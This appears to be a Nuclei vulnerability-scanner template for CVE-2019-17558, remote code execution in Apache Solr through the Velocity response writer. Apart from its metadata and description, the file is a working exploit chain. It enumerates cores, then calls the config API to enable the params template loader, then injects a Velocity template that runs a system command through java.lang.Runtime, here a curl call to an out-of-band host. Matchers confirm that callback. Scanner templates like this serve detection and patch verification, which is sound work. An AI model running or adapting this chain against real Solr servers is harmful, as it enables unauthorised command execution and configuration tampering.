60 lines
2.6 KiB
YAML
60 lines
2.6 KiB
YAML
id: CVE-2019-17558
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info:
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name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
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author: pikpikcu,madrobot
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severity: high
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reference: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
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tags: cve,cve2019,apache,rce,solr,oob
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.50
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cve-id: CVE-2019-17558
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cwe-id: CWE-74
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description: "Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user)."
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requests:
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- raw:
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- |
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GET /solr/admin/cores?wt=json HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /solr/{{core}}/config HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{
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"update-queryresponsewriter": {
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"startup": "lazy",
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"name": "velocity",
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"class": "solr.VelocityResponseWriter",
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"template.base.dir": "",
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"solr.resource.loader.enabled": "true",
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"params.resource.loader.enabled": "true"
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}
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}
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- |
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GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20http://{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
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Host: {{Hostname}}
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Connection: close
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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internal: true
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name: core
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group: 1
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regex:
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- '"name"\:"(.*?)"'
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